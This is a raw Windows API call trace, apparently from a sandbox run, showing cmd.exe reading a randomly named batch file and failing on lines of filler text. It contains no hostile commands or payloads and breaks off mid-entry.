RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.243] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.243] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.243] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92e460 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e460, Size=0x7e) returned 0x20b0f92e460 [0162.243] GetProcessHeap () returned 0x20b0f920000 [0162.243] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e460) returned 0x7e [0162.244] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.244] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ccd0 [0162.244] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0162.244] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.244] GetLastError () returned 0x2 [0162.244] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.244] GetLastError () returned 0x2 [0162.244] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.244] GetLastError () returned 0x2 [0162.244] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.245] GetLastError () returned 0x2 [0162.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.245] GetLastError () returned 0x2 [0162.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.245] GetLastError () returned 0x2 [0162.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.245] GetLastError () returned 0x2 [0162.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.245] GetLastError () returned 0x2 [0162.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.245] GetLastError () returned 0x2 [0162.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.246] GetLastError () returned 0x2 [0162.246] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.246] GetLastError () returned 0x2 [0162.246] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.246] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.246] GetLastError () returned 0x2 [0162.246] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.246] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d330 [0162.246] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0162.246] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.247] GetLastError () returned 0x2 [0162.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.247] GetLastError () returned 0x2 [0162.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.247] GetLastError () returned 0x2 [0162.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.247] GetLastError () returned 0x2 [0162.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.247] GetLastError () returned 0x2 [0162.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.247] GetLastError () returned 0x2 [0162.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.248] GetLastError () returned 0x2 [0162.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.248] GetLastError () returned 0x2 [0162.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.248] GetLastError () returned 0x2 [0162.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.248] GetLastError () returned 0x2 [0162.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.248] GetLastError () returned 0x2 [0162.248] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.248] GetLastError () returned 0x2 [0162.248] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.249] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.249] GetLastError () returned 0x2 [0162.249] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.249] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.249] GetLastError () returned 0x2 [0162.249] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.249] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.249] GetLastError () returned 0x2 [0162.249] ??_V@YAXPEAX@Z () returned 0x1 [0162.250] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.250] GetFileType (hFile=0x54) returned 0x2 [0162.250] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.250] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.251] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.251] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.251] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.252] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.252] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.257] ??_V@YAXPEAX@Z () returned 0x1 [0162.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.258] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.258] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.259] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.259] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.259] SetConsoleInputExeNameW () returned 0x1 [0162.259] GetConsoleOutputCP () returned 0x1b5 [0162.259] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.259] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.260] ??_V@YAXPEAX@Z () returned 0x1 [0162.261] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.261] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.261] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.261] SetFilePointer (in: hFile=0x94, lDistanceToMove=862, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x35e [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e460) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.261] GetProcessHeap () returned 0x20b0f920000 [0162.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.263] GetProcessHeap () returned 0x20b0f920000 [0162.263] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.263] GetProcessHeap () returned 0x20b0f920000 [0162.263] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.263] GetProcessHeap () returned 0x20b0f920000 [0162.263] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.263] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.263] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x35e [0162.263] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1457, lpOverlapped=0x0) returned 1 [0162.263] SetFilePointer (in: hFile=0x94, lDistanceToMove=871, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x367 [0162.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\n \r\n") returned 9 [0162.263] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.263] GetFileType (hFile=0x94) returned 0x1 [0162.263] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.263] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x367 [0162.263] GetProcessHeap () returned 0x20b0f920000 [0162.263] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.264] GetProcessHeap () returned 0x20b0f920000 [0162.264] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.264] _tell (_FileHandle=3) returned 871 [0162.264] _close (_FileHandle=3) returned 0 [0162.264] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.264] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.265] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.265] SetFilePointer (in: hFile=0x94, lDistanceToMove=871, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x367 [0162.265] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.265] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x367 [0162.265] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x144e, lpOverlapped=0x0) returned 1 [0162.265] SetFilePointer (in: hFile=0x94, lDistanceToMove=962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c2 [0162.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0162.265] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.265] GetFileType (hFile=0x94) returned 0x1 [0162.265] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.265] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c2 [0162.265] GetProcessHeap () returned 0x20b0f920000 [0162.265] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.266] GetProcessHeap () returned 0x20b0f920000 [0162.266] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.266] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.266] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.266] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.266] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.266] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.266] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.266] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.267] GetProcessHeap () returned 0x20b0f920000 [0162.267] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.267] GetProcessHeap () returned 0x20b0f920000 [0162.267] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.267] GetProcessHeap () returned 0x20b0f920000 [0162.267] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92cb10 [0162.267] _tell (_FileHandle=3) returned 962 [0162.267] _close (_FileHandle=3) returned 0 [0162.268] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.268] GetFileType (hFile=0x50) returned 0x2 [0162.268] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.268] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.268] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.272] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.272] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.272] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.272] GetFileType (hFile=0x50) returned 0x2 [0162.272] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.272] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.272] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.273] GetFileType (hFile=0x50) returned 0x2 [0162.273] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.273] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.273] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.273] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0162.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.273] GetFileType (hFile=0x50) returned 0x2 [0162.273] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.273] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.274] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.274] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0162.274] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.274] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.274] GetFileType (hFile=0x50) returned 0x2 [0162.274] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.274] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.275] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.275] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.278] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.278] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.279] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.279] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.279] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.279] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.279] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.279] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.279] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.279] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.279] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.279] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.279] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.279] _wcsicmp (_String1="Windows", 